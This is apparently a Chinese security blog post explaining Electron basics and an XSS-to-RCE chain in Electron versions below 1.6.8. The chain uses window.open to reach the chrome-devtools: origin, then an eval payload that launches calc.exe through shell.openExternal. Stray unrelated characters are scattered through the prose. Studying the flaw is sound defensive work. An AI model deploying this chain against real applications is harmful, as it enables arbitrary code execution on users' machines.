BlackHat上的一個(gè)大牛介紹了Electron框架的一些安全問(wèn)題，學(xué)習(xí)了一下其中利用XSS實(shí)現(xiàn)RCE的流程，v1.6.8以下的electron版本存在該漏洞阻课。
一、Electron框架
介紹
簡(jiǎn)單來(lái)說(shuō)，Electron框架可以看作一個(gè)精簡(jiǎn)版的Chrome瀏覽器浦楣，開(kāi)發(fā)者只需利用JavaScript/Html/Css等Web相關(guān)技術(shù)就可以開(kāi)發(fā)跨平臺(tái)的桌面應(yīng)用，該框架非常適用于偏業(yè)務(wù)型的應(yīng)用開(kāi)發(fā)咪辱。市面上有很多成熟的應(yīng)用振劳，比如VS Code，Atom等油狂。
基本目錄結(jié)構(gòu)
一個(gè)Electron應(yīng)用主要有3個(gè)文件历恐，index.html，main.js专筷，和package.json
其中index.html是要展示的內(nèi)容
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Hello World!</title>
</head>
<body>
<h1>Hello World!</h1>
We are using node
<script>
document.write(process.versions.node)
</script>, Chrome
<script>
document.write(process.versions.chrome)
</script>, and Electron
<script>
document.write(process.versions.electron)
</script>.
</body>
</html>
main.js是用于啟動(dòng)應(yīng)用的文件
const { app, BrowserWindow } = require('electron')
const path = require('path')
const url = require('url')
// 保持一個(gè)對(duì)于 window 對(duì)象的全局引用弱贼，如果你不這樣做，
// 當(dāng) JavaScript 對(duì)象被垃圾回收磷蛹， window 會(huì)被自動(dòng)地關(guān)閉
let win
function createWindow() {
// 創(chuàng)建瀏覽器窗口吮旅。
win = new BrowserWindow({ width: 800, height: 600 })
// 加載應(yīng)用的 index.html。
win.loadURL(url.format({
pathname: path.join(__dirname, 'index.html'),
protocol: 'file:',
slashes: true
}))
// 打開(kāi)開(kāi)發(fā)者工具味咳。
win.webContents.openDevTools()
// 當(dāng) window 被關(guān)閉庇勃，這個(gè)事件會(huì)被觸發(fā)。
win.on('closed', () => {
// 取消引用 window 對(duì)象槽驶，如果你的應(yīng)用支持多窗口的話责嚷，
// 通常會(huì)把多個(gè) window 對(duì)象存放在一個(gè)數(shù)組里面，
// 與此同時(shí)掂铐，你應(yīng)該刪除相應(yīng)的元素罕拂。
win = null
})
}
// Electron 會(huì)在初始化后并準(zhǔn)備
// 創(chuàng)建瀏覽器窗口時(shí)，調(diào)用這個(gè)函數(shù)堡纬。
// 部分 API 在 ready 事件觸發(fā)后才能使用聂受。
app.on('ready', createWindow)
// 當(dāng)全部窗口關(guān)閉時(shí)退出。
app.on('window-all-closed', () => {
// 在 macOS 上烤镐，除非用戶用 Cmd + Q 確定地退出蛋济，
// 否則絕大部分應(yīng)用及其菜單欄會(huì)保持激活。
if (process.platform !== 'darwin') {
app.quit()
}
})
app.on('activate', () => {
// 在這文件炮叶，你可以續(xù)寫(xiě)應(yīng)用剩下主進(jìn)程代碼碗旅。
// 也可以拆分成幾個(gè)文件渡处，然后用 require 導(dǎo)入。
if (win === null) {
createWindow()
}
})
// 在這文件祟辟，你可以續(xù)寫(xiě)應(yīng)用剩下主進(jìn)程代碼医瘫。
// 也可以拆分成幾個(gè)文件，然后用 require 導(dǎo)入旧困。
package.json里是應(yīng)用的基本信息
{
"name" : "your-app",
"version" : "0.1.0",
"main" : "main.js"
}
安裝electron后執(zhí)行命令即可運(yùn)行你的應(yīng)用
electron your-app/
二醇份、XSS到RCE
Electron中使用了一個(gè)標(biāo)記nodeIntegration用來(lái)控制頁(yè)面對(duì)node的API的訪問(wèn)，只有nodeIntegration為true的時(shí)候吼具，才可以使用如require僚纷，process這樣的node API去訪問(wèn)系統(tǒng)底層資源。這個(gè)標(biāo)記可以直接在main.js中創(chuàng)建窗口時(shí)聲明：
win = new BrowserWindow({
width: 800, height: 600, "webPreferences": {
"nodeIntegration": true
}
})
也可以作為webview的一個(gè)屬性：
<webview src="http://www.google.com/" nodeintegration></webview>
但是通常這個(gè)標(biāo)記都是false的拗盒，也就是普通頁(yè)面是沒(méi)辦法調(diào)用require的怖竭。但是在electron源碼中的lib/renderer/init.js有個(gè)判斷，在chrome-devtools這個(gè)特權(quán)域下陡蝇，nodeIntegration會(huì)變成true痊臭。
if (window.location.protocol === 'chrome-devtools:') {
// Override some inspector APIs.
require('./inspector')
nodeIntegration = 'true'
}
接下來(lái)只需要用window.open繞過(guò)SOP跳到chrome-devtools域下，然后調(diào)用node API執(zhí)行系統(tǒng)命令就行了
win = window.open("chrome-devtools://devtools/bundled/inspector.html");
win.eval("const {shell} = require('electron');shell.openExternal('file:///C:/Windows/System32/calc.exe');");
如圖成功彈出計(jì)算器：
